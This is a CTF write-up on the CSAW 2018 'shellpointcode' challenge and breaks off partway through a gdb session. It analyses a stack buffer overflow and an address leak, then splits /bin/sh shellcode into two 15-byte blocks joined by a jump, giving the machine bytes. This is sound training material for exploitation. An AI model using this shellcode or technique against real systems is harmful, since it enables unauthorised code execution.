# Csaw 2018 Shellpointcode

Let's take a look at the binary:

```
$    ./shellpointcode
Linked lists are great!
They let you chain pieces of data together.

(15 bytes) Text for node 1:  
15935728
(15 bytes) Text for node 2:
75395128
node1:
node.next: 0x7ffda2ffda40
node.buffer: 15935728

What are your initials?
123
Thanks 123

Segmentation fault (core dumped)
$    file shellpointcode
shellpointcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=214cfc4f959e86fe8500f593e60ff2a33b3057ee, not stripped
$    pwn checksec shellpointcode
[*] '/Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
```

So we can see that we are dealing with a 64 bit binary that has RWX segments (regions of memory that we can read, write, and execute). We can see that with gdb:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x[PII_REDACTED]554000 0x[PII_REDACTED]555000 0x[PII_REDACTED]000000 r-x /Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x[PII_REDACTED]754000 0x[PII_REDACTED]755000 0x[PII_REDACTED]000000 r-x /Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x[PII_REDACTED]755000 0x[PII_REDACTED]756000 0x[PII_REDACTED]001000 rwx /Hackery/pod/modules/crafting_shellcodePt1/csaw18_shellpointcode/shellpointcode
0x[PII_REDACTED]756000 0x[PII_REDACTED]777000 0x[PII_REDACTED]000000 rwx [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 0x[PII_REDACTED]000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x[PII_REDACTED]1e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x[PII_REDACTED]1e7000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x[PII_REDACTED]1eb000 rwx /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x[PII_REDACTED]000000 rwx
0x00007ffff7dd5000 0x00007ffff7dfc000 0x[PII_REDACTED]000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fd9000 0x00007ffff7fdb000 0x[PII_REDACTED]000000 rwx
0x00007ffff7ff7000 0x00007ffff7ffa000 0x[PII_REDACTED]000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x[PII_REDACTED]000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x[PII_REDACTED]027000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x[PII_REDACTED]028000 rwx /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x[PII_REDACTED]000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x[PII_REDACTED]000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x[PII_REDACTED]000000 r-x [vsyscall]
```

 In addition to that when we run it, we see that it prompts us for three separate inputs and prints what appears to be a stack address. When we take a look at the main function in Ghidra we see this:

```
undefined8 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  puts("Linked lists are great! \nThey let you chain pieces of data together.\n");
  nononode();
  return 0;
}
```

Here we can see it calls the `nononode` which does this:

```
void nononode(void)

{
  undefined local_48 [8];
  undefined inp1 [24];
  undefined *inp0Ptr;
  undefined inp0 [24];
 
  inp0Ptr = local_48;
  puts("(15 bytes) Text for node 1:  ");
  readline(inp0,0xf);
  puts("(15 bytes) Text for node 2: ");
  readline(inp1,0xf);
  puts("node1: ");
  printNode(&inp0Ptr);
  goodbye();
  return;
}
```

Here we can see that it scans for input twice, in two `0xf` byte chunks. It then gives us a stack infoleak by printing out the address of `inp0Ptr` so we know where our first `0xf` byte chunk on the stack is. Then it calls the `goodbye` function which does this:

```
void goodbye(void)

{
  char vulnBuf [3];
 
  puts("What are your initials?");
  fgets(vulnBuf,0x20,stdin);
  printf("Thanks %s\n",vulnBuf);
  return;
}
```

So we can clearly see there is a buffer overflow bug with the fgets call. It is scanning in 32 (0x20) bytes into a 0x3 byte space (since it is at bp-0x3, and there's nothing below it on the stack). Since there is nothing else on the stack, and we have more than `0x10` bytes worth of overflow we should be able to reach the return address just fine.

So with that, we have an executable stack, a buffer overflow that grants us control of the return address, and a stack infoleak (which we can use to figure out the address of anything within that memory region, by using it's offset). The easy thing to do would be to just push shellcode to the stack, and call it. However the issue here it we don't have a single continuous block of memory to store it in. The biggest one we have is the 0x20 bytes from the goodbye call, however that one has to have an 0x8 byte address 11 bytes in to write over the return address, leaving us with only 21 bytes to work with across two separate blocks. What we will need to do here, is write/modify some custom shellcode to specifically fit in the multiple discontinuous chunks we have. I just managed to split my shellcode into two different 0xf (15) byte blocks, and stored them in inp0 and inp1, and just called inp0 using the infoleak. We already know from what we previously did that the offset from the infoleak we got to our second input is +0x8 bytes.

For writing the custom shellcode, we will be splitting up the shellcode into these two blocks. I did not write this shell code originally, I only modified it to fit this one particular use case (I just threw in a jmp instruction). The shellcode came from here: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/:


block 0:
```
  400080:    48 bf d1 9d 96 91 d0     movabs rdi,0xff978cd091969dd1
  400087:    8c 97 ff
  40008a:    e9 0c 00 00 00           jmp    40009b <_start+0x1b>
```

This block just executes two different instructions. The first just moves the hex string 0xff978cd091969dd1 (which is just the string /bin/sh\x00 noted) into the rdi register, and then calls the relative jump function. This will just jump x amount of instructions, where x is it's argument (which in this case it's 0xc, which is 12). To figure out how many instructions to jump, I examined the amount of instructions interpreted (since most data can be interpreted as an instruction, and our jmp call will) to see how many instructions I would need to jump ahead, and a bit of trial and error until I got it right. We can see where the shellcode will jump in gdb (will help a lot if you use a script in this part):

```
gef➤  search-pattern 0xd091969dd1bf48
[+] Searching '0xd091969dd1bf48' in memory
[+] In '[heap]'(0x55b195217000-0x55b195238000), permission=rwx
  0x55b1952172e0 - 0x55b1952172fc  →   "\x48\xbf\xd1\x9d\x96\x91\xd0[...]"
[+] In '[stack]'(0x7ffcc0c31000-0x7ffcc0c52000), permission=rwx
  0x7ffcc0c508e8 - 0x7ffcc0c50904  →   "\x48\xbf\xd1\x9d\x96\x91\xd0[...]"
gef➤  x/2g 0x7ffcc0c508e8
0x7ffcc0c508